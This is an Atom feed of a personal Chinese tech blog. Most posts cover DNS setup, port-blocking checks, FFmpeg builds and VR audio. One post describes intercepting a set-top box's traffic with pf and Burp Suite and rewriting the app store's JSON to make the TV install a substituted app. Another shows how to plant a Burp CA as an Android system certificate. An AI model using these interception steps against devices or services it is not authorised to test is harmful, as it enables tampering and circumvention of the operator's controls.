<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Fashioncj Tell You - chenjia.me</title><link href="https://blog.chenjia.me/" rel="alternate"></link><link href="https://blog.chenjia.me/feeds/chenjiame.atom.xml" rel="self"></link><id>https://blog.chenjia.me/</id><updated>2018-07-29T22:35:02+08:00</updated><entry><title>软路由实现流量拦截,破解联通IPTV</title><link href="https://blog.chenjia.me/articles/180729-223459.html" rel="alternate"></link><published>2018-07-29T22:34:59+08:00</published><updated>2018-07-29T22:35:02+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2018-07-29:/articles/180729-223459.html</id><summary type="html">&lt;h2&gt;参考文章&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://oddboy.cn/2018/01/traffic-interception-by-soft-router/"&gt;软路由实现流量拦截&lt;/a&gt;
注意，原文中没提到的，设置好pf后要重启生效 …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;参考文章&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://oddboy.cn/2018/01/traffic-interception-by-soft-router/"&gt;软路由实现流量拦截&lt;/a&gt;
注意，原文中没提到的，设置好pf后要重启生效。&lt;/p&gt;
&lt;h2&gt;简洁操作&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;开启热点&lt;/li&gt;
&lt;li&gt;&lt;code&gt;echo "rdr on bridge100 inet proto tcp all -&amp;gt; 127.0.0.1 port 8080" | sudo pfctl -Ef -&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;设置burpsuit，注意需要监听所有接口，在&lt;code&gt;request handing&lt;/code&gt;中打开&lt;code&gt;invisible proxy&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;开始MITM&lt;/li&gt;
&lt;li&gt;在应用商店选择一个应用查看详情，修改返回json，替换下载地址和md5&lt;/li&gt;
&lt;li&gt;等待电视开始安装。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;备份原文章最后代码&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="err"&gt;➜&lt;/span&gt;  &lt;span class="o"&gt;~&lt;/span&gt; &lt;span class="nt"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;^#&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;pf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;conf&lt;/span&gt;
&lt;span class="nt"&gt;scrub-anchor&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;com.apple/*&amp;quot;&lt;/span&gt;
&lt;span class="nt"&gt;nat-anchor&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;com.apple/*&amp;quot;&lt;/span&gt;
&lt;span class="nt"&gt;nat-anchor&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;hackproxy/*&amp;quot;&lt;/span&gt;
&lt;span class="nt"&gt;rdr-anchor&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;com.apple/*&amp;quot;&lt;/span&gt;
&lt;span class="nt"&gt;rdr-anchor&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;hackproxy/*&amp;quot;&lt;/span&gt;
&lt;span class="nt"&gt;dummynet-anchor&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;com.apple/*&amp;quot;&lt;/span&gt;

&lt;span class="nt"&gt;anchor&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;com.apple/*&amp;quot;&lt;/span&gt;
&lt;span class="nt"&gt;anchor&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;hackproxy/*&amp;quot;&lt;/span&gt;
&lt;span class="nt"&gt;load&lt;/span&gt; &lt;span class="nt"&gt;anchor&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;com.apple&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;from&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/etc/pf.anchors/com.apple&amp;quot;&lt;/span&gt;
&lt;span class="nt"&gt;load&lt;/span&gt; &lt;span class="nt"&gt;anchor&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;hackproxy&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;from&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/etc/pf.anchors/hackproxy&amp;quot;&lt;/span&gt;

&lt;span class="err"&gt;➜&lt;/span&gt;  &lt;span class="o"&gt;~&lt;/span&gt; &lt;span class="nt"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;^#&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;pf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;anchors&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;hackproxy&lt;/span&gt;

&lt;span class="nt"&gt;nat&lt;/span&gt; &lt;span class="nt"&gt;on&lt;/span&gt; &lt;span class="nt"&gt;en5&lt;/span&gt; &lt;span class="nt"&gt;inet&lt;/span&gt; &lt;span class="nt"&gt;from&lt;/span&gt; &lt;span class="nt"&gt;bridge100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;network&lt;/span&gt; &lt;span class="nt"&gt;to&lt;/span&gt; &lt;span class="nt"&gt;any&lt;/span&gt; &lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;en5&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nt"&gt;extfilter&lt;/span&gt; &lt;span class="nt"&gt;ei&lt;/span&gt;
&lt;span class="nt"&gt;rdr&lt;/span&gt; &lt;span class="nt"&gt;on&lt;/span&gt; &lt;span class="nt"&gt;bridge100&lt;/span&gt; &lt;span class="nt"&gt;inet&lt;/span&gt; &lt;span class="nt"&gt;proto&lt;/span&gt; &lt;span class="nt"&gt;tcp&lt;/span&gt; &lt;span class="nt"&gt;all&lt;/span&gt; &lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nt"&gt;127&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;1&lt;/span&gt; &lt;span class="nt"&gt;port&lt;/span&gt; &lt;span class="nt"&gt;8080&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;执行&lt;code&gt;sudo pfctl -a hackproxy -sn&lt;/code&gt;&lt;/p&gt;</content><category term="Route"></category><category term="July"></category></entry><entry><title>自建Bind9 DNS服务器</title><link href="https://blog.chenjia.me/articles/180419-223706.html" rel="alternate"></link><published>2018-04-19T22:37:06+08:00</published><updated>2018-04-19T22:37:09+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2018-04-19:/articles/180419-223706.html</id><summary type="html">&lt;p&gt;自建dns服务器可以满足很多需求。
比如可以自定义 &lt;code&gt;a.com&lt;/code&gt;指向自己的服务等 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;自建dns服务器可以满足很多需求。
比如可以自定义 &lt;code&gt;a.com&lt;/code&gt;指向自己的服务等。&lt;/p&gt;
&lt;h2&gt;安装Bind9&lt;/h2&gt;
&lt;p&gt;在Ubuntu中，使用&lt;code&gt;apt install bind9&lt;/code&gt;即可&lt;/p&gt;
&lt;h2&gt;配置自定义域名&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;修改&lt;code&gt;/etc/bind/named.conf.local&lt;/code&gt; 文件，添加如下内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;zone &amp;quot;a.com&amp;quot;{
    type master;
    file &amp;quot;db.a.com&amp;quot;;
};
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;复制一个新的域名数据文件&lt;code&gt;sudo cp /etc/bind/db.local /var/cache/bind/db.a.com&lt;/code&gt; 名字第一步配置的一致&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;编辑该文件，添加对应的解析，例如&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;@       IN      A       1.1.1.1
@       IN      AAAA    101:::af
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;记得移除默认的127.0.0.1和::0解析&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;添加上游递归DNS&lt;/h2&gt;
&lt;p&gt;自建的DNS需要follow一个DNS，编辑文件&lt;code&gt;/etc/bind/named.conf.options&lt;/code&gt; 添加如下内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;forwarders {
    101.6.6.6;
    119.29.29.29;
};
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;允许DNS被任意人访问&lt;/h2&gt;
&lt;p&gt;和上一步一样的文件，添加以下内容：
    allow-query {any;};&lt;/p&gt;
&lt;p&gt;其中any可以替换为IPv4的掩码模式，V6的掩码模式，多个IP段。&lt;/p&gt;
&lt;h2&gt;重启服务&lt;/h2&gt;
&lt;p&gt;使用命令&lt;code&gt;service bind9 restart&lt;/code&gt;进行重启，通过命令&lt;code&gt;service bind9 status&lt;/code&gt; 查看服务是否正常运行。&lt;/p&gt;</content><category term="April"></category><category term="Linux"></category></entry><entry><title>自动化检查网络出口和入口的端口封禁情况</title><link href="https://blog.chenjia.me/articles/171222-153733.html" rel="alternate"></link><published>2017-12-22T15:37:33+08:00</published><updated>2017-12-22T15:37:41+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-12-22:/articles/171222-153733.html</id><summary type="html">&lt;p&gt;最近ISP封禁端口已经越来越普遍了，一般封禁理由都是为了所谓的安全。可惜我们在选择服务器或者自己的网络运营商很少会告知哪些端口被封禁，所以这个就需要我们自己动手测试。&lt;/p&gt;
&lt;h2&gt;原理 …&lt;/h2&gt;</summary><content type="html">&lt;p&gt;最近ISP封禁端口已经越来越普遍了，一般封禁理由都是为了所谓的安全。可惜我们在选择服务器或者自己的网络运营商很少会告知哪些端口被封禁，所以这个就需要我们自己动手测试。&lt;/p&gt;
&lt;h2&gt;原理&lt;/h2&gt;
&lt;p&gt;服务器利用iptables将所有的端口的TCP请求都转发到80端口上的Nginx服务器上。&lt;/p&gt;
&lt;h2&gt;出口端口封禁检测&lt;/h2&gt;
&lt;p&gt;所谓的出口端口，简单的来说就是你能否访问某个端口，如果运营商在ISP出口屏蔽了80和443端口，那么你就将无法打开HTTP或者HTTPs的网页。这个检测通常可以用来检测自己是否能连接其他服务器的某个特定的端口。&lt;/p&gt;
&lt;p&gt;如果你没有服务器，我们可以是用这个网站&lt;a href="http://portquiz.net/"&gt;http://portquiz.net/&lt;/a&gt;  来进行测试，这个网站支持除22和25端口外的所有端口检测，比如你使用&lt;code&gt;http://portquiz.net:8888/&lt;/code&gt;来检测是否打开，如果无法打开那就可能是你的ISP封禁了8888端口。该网站提供了测试脚本，语言是GO。
其Github地址为&lt;a href="https://github.com/nhooyr/outPorts"&gt;https://github.com/nhooyr/outPorts&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;入口端口封禁检测&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://positon.org/portquiz-net-how-it-works"&gt;该网站的BLOG&lt;/a&gt;讲述了其原理，如果我们在阿里云或者其他地方有服务器，但是不知道服务器提供商的防火墙端口封禁规则，那么我们可以利用其所述的原理在服务器上进行搭建，然后在本地修改上面说的Go语言脚本某位的网址为自己的IP/域名，然后进行测试即可。&lt;/p&gt;
&lt;h3&gt;搭建服务器步骤&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;安装网页服务器Nginx等，监听80端口。&lt;/li&gt;
&lt;li&gt;修改iptabls，应用如下规则&lt;code&gt;cat /etc/iptables/rules.v4&lt;/code&gt;：&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# Generated by iptables-save v1.6.0 on Thu Dec 14 00:51:52 2017
*nat
:PREROUTING ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A PREROUTING -i lo -j RETURN
-A PREROUTING -p icmp -j RETURN
-A PREROUTING -m state --state RELATED,ESTABLISHED -j RETURN
-A PREROUTING -p tcp -m tcp --dport 22 -j RETURN
-A PREROUTING -p tcp -m tcp --dport 21 -j RETURN
-A PREROUTING -p tcp -m tcp --dport 25 -j RETURN
-A PREROUTING -p tcp -m tcp --dport 80 -j RETURN
-A PREROUTING -p tcp -m tcp --dport 443 -j RETURN
-A PREROUTING -p tcp -j DNAT --to-destination :80
COMMIT
# Completed on Sun Aug 25 12:43:34 2013
# Generated by iptables-save v1.4.14 on Sun Aug 25 12:43:34 2013
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 21 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 25 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
-A INPUT -j DROP
COMMIT
# Completed on Thu Dec 14 00:51:52 2017

                                                                                               3. 应用iptabls，客户端即可运行脚本进行测试
                                                                                                                                                                                                                          ##SDU端口封禁序号
                                                                                                                                                                                                                          &amp;amp;gt; 21,25,80,135,137,138,139,443,445,8000,8080
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;/ol&gt;</content><category term="Linux"></category><category term="December"></category></entry><entry><title>BrupSuit证书导入Android7.0以上手机</title><link href="https://blog.chenjia.me/articles/171029-223953.html" rel="alternate"></link><published>2017-10-29T22:39:53+08:00</published><updated>2017-10-29T22:40:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-10-29:/articles/171029-223953.html</id><summary type="html">&lt;h2&gt;Android安全策略提升&lt;/h2&gt;
&lt;p&gt;Android7.0 对SSL证书提升了大量限制。
例如应用不信任用户证书 …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Android安全策略提升&lt;/h2&gt;
&lt;p&gt;Android7.0 对SSL证书提升了大量限制。
例如应用不信任用户证书，用户无法自己导入证书等。&lt;/p&gt;
&lt;h2&gt;如何破解&lt;/h2&gt;
&lt;p&gt;我们可以通过&lt;code&gt;https://github.com/levyitay/AddSecurityExceptionAndroid&lt;/code&gt;项目来对apk进行修改。也可以通过导入证书为系统证书来实现。后者需要有root权限&lt;/p&gt;
&lt;h2&gt;作为证书变为系统证书&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;从brupsuit中导出证书文件&lt;code&gt;certificate.der&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;生成PEM文件&lt;code&gt;openssl x509 -in certificate.der -inform DER -out certificate.pem -outform PEM&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;提取hash:&lt;code&gt;openssl x509 -inform PEM -subject_hash -in certificate.pem | head -1&lt;/code&gt;,记住输出的hash，例如&lt;code&gt;a0b1c2d3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat certificate.pem &amp;gt; a0b1c2d3.0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;openssl x509 -inform PEM -text -in certificate.pem -out /dev/null &amp;gt;&amp;gt; a0b1c2d3.0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;连接手机，执行&lt;code&gt;adb root&lt;/code&gt;和&lt;code&gt;adb remount&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;adb push a0b1c2d3.0 /system/etc/security/cacerts/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;进入手机终端&lt;code&gt;adb shell&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;加上权限&lt;code&gt;chmod 644 /system/etc/security/cacerts/a0b1c2d3.0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;重启手机，查看证书是否安装完成。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="https://nvisium.com/blog/2017/07/12/advantages-and-disadvantages-of-android-n-network-security-configuration/"&gt;https://nvisium.com/blog/2017/07/12/advantages-and-disadvantages-of-android-n-network-security-configuration/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/levyitay/AddSecurityExceptionAndroid"&gt;https://github.com/levyitay/AddSecurityExceptionAndroid&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</content><category term="October"></category><category term="Android"></category></entry><entry><title>开发流程总结</title><link href="https://blog.chenjia.me/articles/170903-185924.html" rel="alternate"></link><published>2017-09-03T18:59:24+08:00</published><updated>2017-09-03T18:59:27+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-09-03:/articles/170903-185924.html</id><summary type="html">&lt;h2&gt;开始&lt;/h2&gt;
&lt;p&gt;第一次做真实的需求。突然感觉自己是真·新人。&lt;/p&gt;
&lt;p&gt;Leader说 …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;开始&lt;/h2&gt;
&lt;p&gt;第一次做真实的需求。突然感觉自己是真·新人。&lt;/p&gt;
&lt;p&gt;Leader说，我们的产品覆盖几亿的用户，大盘机型有3000多。所以每一行代码都得小心。&lt;/p&gt;
&lt;p&gt;不管在哪里做事，都离不开认真。&lt;/p&gt;
&lt;h2&gt;流程&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;仔细评估需求&lt;/li&gt;
&lt;li&gt;方案确定&lt;/li&gt;
&lt;li&gt;组件查找+开源代码查找&lt;/li&gt;
&lt;li&gt;开发，合并，同步。&lt;/li&gt;
&lt;li&gt;是否需要添加监控，远程开关，上报开关，灰度开关等&lt;/li&gt;
&lt;li&gt;自动化测试/灰度测试&lt;/li&gt;
&lt;li&gt;兼容性报告，机型覆盖率等信息&lt;/li&gt;
&lt;li&gt;Code Review&lt;/li&gt;
&lt;li&gt;上报内容确定，需要的信息+需要分析的内容&lt;/li&gt;
&lt;li&gt;合并主干&lt;/li&gt;
&lt;/ul&gt;</content><category term="September"></category><category term="Daily"></category></entry><entry><title>Transform360 编译指南</title><link href="https://blog.chenjia.me/articles/170812-144946.html" rel="alternate"></link><published>2017-08-12T14:49:46+08:00</published><updated>2017-08-12T14:49:49+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-08-12:/articles/170812-144946.html</id><summary type="html">&lt;p&gt;该指南指导编译基于Transform360的FFmpeg，并介绍Transform Filter的使用方法。基于这个你可以获取到将等圆柱映射的全景视频转换为正方体映射的全景视频。&lt;/p&gt;
&lt;h2&gt;什么是Transform360 …&lt;/h2&gt;</summary><content type="html">&lt;p&gt;该指南指导编译基于Transform360的FFmpeg，并介绍Transform Filter的使用方法。基于这个你可以获取到将等圆柱映射的全景视频转换为正方体映射的全景视频。&lt;/p&gt;
&lt;h2&gt;什么是Transform360&lt;/h2&gt;
&lt;p&gt;Transform360的Github地址为: &lt;a href="https://github.com/facebook/transform360" title="https://github.com/facebook/transform360"&gt;https://github.com/facebook/transform360&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其官方介绍为：Transform360 is an equirectangular to cubemap transform for 360 video. 作用就是将图1的视频转换为图2的视频样子。
&lt;img alt="http://i.imgur.com/Ro5c6P4.png" src="http://i.imgur.com/Ro5c6P4.png"&gt;
图1&lt;/p&gt;
&lt;p&gt;&lt;img alt="http://i.imgur.com/Ro5c6P4.png" src="http://i.imgur.com/Vj5jHPr.png"&gt;
图2&lt;/p&gt;
&lt;h2&gt;CubeMap优点&lt;/h2&gt;
&lt;p&gt;相比于equirectangular，cubemap可以在保持全景效果不变的情况下缩小25%的冗余内容。原因如下：例如平面视频标清的分辨率为 720×480 ，如果用六面体来表示所有的面临的六个面，则至少需要 6×480×480 的大小，而在保持同等清晰度的前提下，采用等圆柱映射在需要 8×480×480 的大小。&lt;/p&gt;
&lt;p&gt;通过转换对比可见，等圆柱映射的4K全景视频（3840*1920），转换为相同的正方体映射的分辨率为（2880*1920）,文件大小缩小了近1/3(不同视频是有差异)&lt;/p&gt;
&lt;h2&gt;编译指南&lt;/h2&gt;
&lt;p&gt;以下命令基于Ubuntu 16.04执行测试通过。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;下载FFmpeg代码和Transform360代码&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git clone https://github.com/facebook/transform360.git
git clone https://github.com/FFmpeg/FFmpeg.git
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将&lt;code&gt;transform360/Transform_V1/vf_transform_v1.c&lt;/code&gt;文件复制到&lt;code&gt;FFmpeg/libavfilter&lt;/code&gt;文件夹下&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;进入&lt;code&gt;FFmpeg/libavfilter&lt;/code&gt;文件夹，修改&lt;code&gt;allfilters.c&lt;/code&gt;，在video filter块中添加代码&lt;code&gt;REGISTER_FILTER(TRANSFORM_V1, transform_v1, vf);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;修改文件&lt;code&gt;Makefile&lt;/code&gt;，在Filter块中添加代码&lt;code&gt;OBJS-$(CONFIG_TRANSFORM_V1_FILTER) += vf_transform_v1.o&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;回退到&lt;code&gt;FFmpeg&lt;/code&gt;目录，开始编译。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;sudo apt install pkg-config yasm libx264-dev
./configure --enable-shared --enable-libx264 --enable-gpl  --prefix=/usr/local/ffmpeg
make -j8 //8为CPU线程数目，可以加速编译
sudo make install、
sudo vim /etc/ld.so.conf.d/ffmpeg.conf
//在文件中添加如下内容： /usr/local/ffmpeg/lib
sudo ldconfig
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;到达任意目录，执行&lt;code&gt;ffmpeg&lt;/code&gt;查看是否正常运行，如果正常则编译完成。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;转换视频指南&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;通过&lt;code&gt;ffmpeg -h filter=transform_v1&lt;/code&gt;可以查看帮助手册&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;转换命令&lt;code&gt;ffmpeg -i input.mp4 -vf transform_v1="input_stereo_format=MONO :max_cube_edge_length=960 :expand_coef=1.01" -vcodec h264  output.mp4&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;参数说明&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;input_stereo_format 输入视频格式，不确定可以不选会自动判定&lt;/p&gt;
&lt;p&gt;output_layout 输出视频格式，默认CUBEMAP_32&lt;/p&gt;
&lt;p&gt;max_cube_edge_length 每个正方形的边长，设置过大会自动设置为视频能转换的最大值&lt;/p&gt;
&lt;p&gt;expand_coef 模糊边界参数，默认1.01不建议修改，设置为1的时候视频播放会有边界&lt;/p&gt;
&lt;/blockquote&gt;</content><category term="August"></category><category term="Linux"></category></entry><entry><title>评论系统迁移至Github Issue</title><link href="https://blog.chenjia.me/articles/170729-220027.html" rel="alternate"></link><published>2017-07-29T22:00:27+08:00</published><updated>2017-07-29T22:00:31+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-07-29:/articles/170729-220027.html</id><summary type="html">&lt;h2&gt;评论系统迁移&lt;/h2&gt;
&lt;p&gt;多说网易云跟帖相继阵亡，苦了我们静态博客的博主。没有备案没法使用搜狐畅言，有言用了估计不知道哪天就挂了 …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;评论系统迁移&lt;/h2&gt;
&lt;p&gt;多说网易云跟帖相继阵亡，苦了我们静态博客的博主。没有备案没法使用搜狐畅言，有言用了估计不知道哪天就挂了。因此决定一次性把评论系统改到github上，这样的坏处就是之前的评论无法导入，以及评论必须有github账号了。&lt;/p&gt;
&lt;h2&gt;使用的评论系统&lt;/h2&gt;
&lt;p&gt;使用了一个开源的基于github issue的评论系统，使用文档如下：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/gitalk/gitalk/blob/master/readme-cn.md"&gt;https://github.com/gitalk/gitalk/blob/master/readme-cn.md&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;之前的评论&lt;/h2&gt;
&lt;p&gt;我会恢复一些比较有用的评论。&lt;/p&gt;</content><category term="July"></category><category term="Pelican"></category></entry><entry><title>基于Google VR SDK 的Ambisonic 音频播放Demo实现及相关文档</title><link href="https://blog.chenjia.me/articles/170711-120542.html" rel="alternate"></link><published>2017-07-11T12:05:42+08:00</published><updated>2017-07-11T12:05:46+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-07-11:/articles/170711-120542.html</id><summary type="html">&lt;h2&gt;支持播放的Ambisonic文件格式&lt;/h2&gt;
&lt;p&gt;该SDK支持两种类型的音频文件播放：&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;双声道的wav文件（也就是普通wav音频文件作为虚拟音频素材）&lt;/li&gt;
&lt;li&gt;四声道的AmbiX格式的wav文件 …&lt;/li&gt;&lt;/ol&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;h2&gt;支持播放的Ambisonic文件格式&lt;/h2&gt;
&lt;p&gt;该SDK支持两种类型的音频文件播放：&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;双声道的wav文件（也就是普通wav音频文件作为虚拟音频素材）&lt;/li&gt;
&lt;li&gt;四声道的AmbiX格式的wav文件，其格式因该为：&lt;code&gt;FOA,ACN,SN3D [first-order ambisonics in the AmbiX (ACN/SN3D) format]&lt;/code&gt;. 其中FOA表示空间音频的声道数目为4，ACN为声道的排序规则为0123，SN3D表示将4声道合成的时候四个声道计算的算法公式。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;对于我们Demo，我们选择的是第二种类型，这种类型能够产生空间音频效果。&lt;/p&gt;
&lt;h2&gt;空间变化设置&lt;/h2&gt;
&lt;p&gt;我们通过公式将手机传感器的&lt;code&gt;event.values&lt;/code&gt;数值计算为四元素，导入到GVR中的空间头盔位置中，实现转动手机即转动空间位置。&lt;/p&gt;
&lt;h2&gt;相关资料收集&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="https://developers.google.com/vr/android/spatial-audio"&gt;Spatial Audio for Android&lt;/a&gt;
    &amp;gt;关注点：Render an Ambisonic soundfield 是播放ambix音频，Create a Stereo Sound是播放双声道音频&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.google.com/vr/android/reference/com/google/vr/sdk/audio/GvrAudioEngine" title="GvrAudioEngine"&gt;GvrAudioEngine&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/google/spatial-media/blob/master/docs/spatial-audio-rfc.md#semantics"&gt;spatial-audio-rfc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Treasure Hunt Demo中的音频部分，这个是创建虚拟音效。&lt;a href="https://developers.google.com/vr/android/samples/treasure-hunt#rendering_spatial_audio"&gt;https://developers.google.com/vr/android/samples/treasure-hunt#rendering_spatial_audio&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;VR介绍视频（Google IO 2016）&lt;a href="https://www.youtube.com/watch?v=IW4_-WWIrJE"&gt;https://www.youtube.com/watch?v=IW4_-WWIrJE&lt;/a&gt;&lt;/li&gt;
